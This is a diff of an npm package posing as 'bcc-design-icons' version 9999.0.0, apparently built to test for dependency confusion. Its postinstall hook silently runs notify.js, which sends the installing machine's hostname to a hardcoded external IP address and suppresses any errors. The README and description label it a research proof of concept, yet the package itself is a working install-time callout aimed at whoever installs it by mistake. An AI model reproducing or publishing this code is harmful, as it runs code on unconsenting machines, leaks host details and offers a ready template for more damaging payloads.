bcc-design-icons 9999.0.0

package/README.md

@@ -0,0 +1 @@
+Zeinulin Almas. Cybersecurity researcher. This package is designed to check for dependency confusion.

package/notify.js

@@ -0,0 +1,22 @@
+// notify.js
+try {
+  const http = require('http');
+  const os = require('os');
+
+  const target = 'http://91.201.215.48:8000/npm-poc-bcc';
+  const q = new URLSearchParams({
+    pkg: 'bcc-design-icons',
+    host: os.hostname() || 'unknown',
+    t: Date.now().toString()
+  });
+
+  const req = http.get(`${target}?${q}`, { timeout: 4000 }, (res) => {
+    res.resume();
+  });
+
+  req.on('timeout', () => req.destroy());
+  req.on('error', () => {});
+} catch (e) {
+}
+
+process.exitCode = 0;

package/package.json

@@ -0,0 +1,9 @@
+{
+  "name": "bcc-design-icons",
+  "version": "9999.0.0",
+  "description": "SECURITY RESEARCH PoC (dependency confusion) — no malicious payload. Contact: cancanabacan22@gmail.com. See README.",
+  "main": "index.js",
+  "scripts": { "postinstall": "node ./notify.js" },
+  "author": "alzey",
+  "license": "MIT"
+}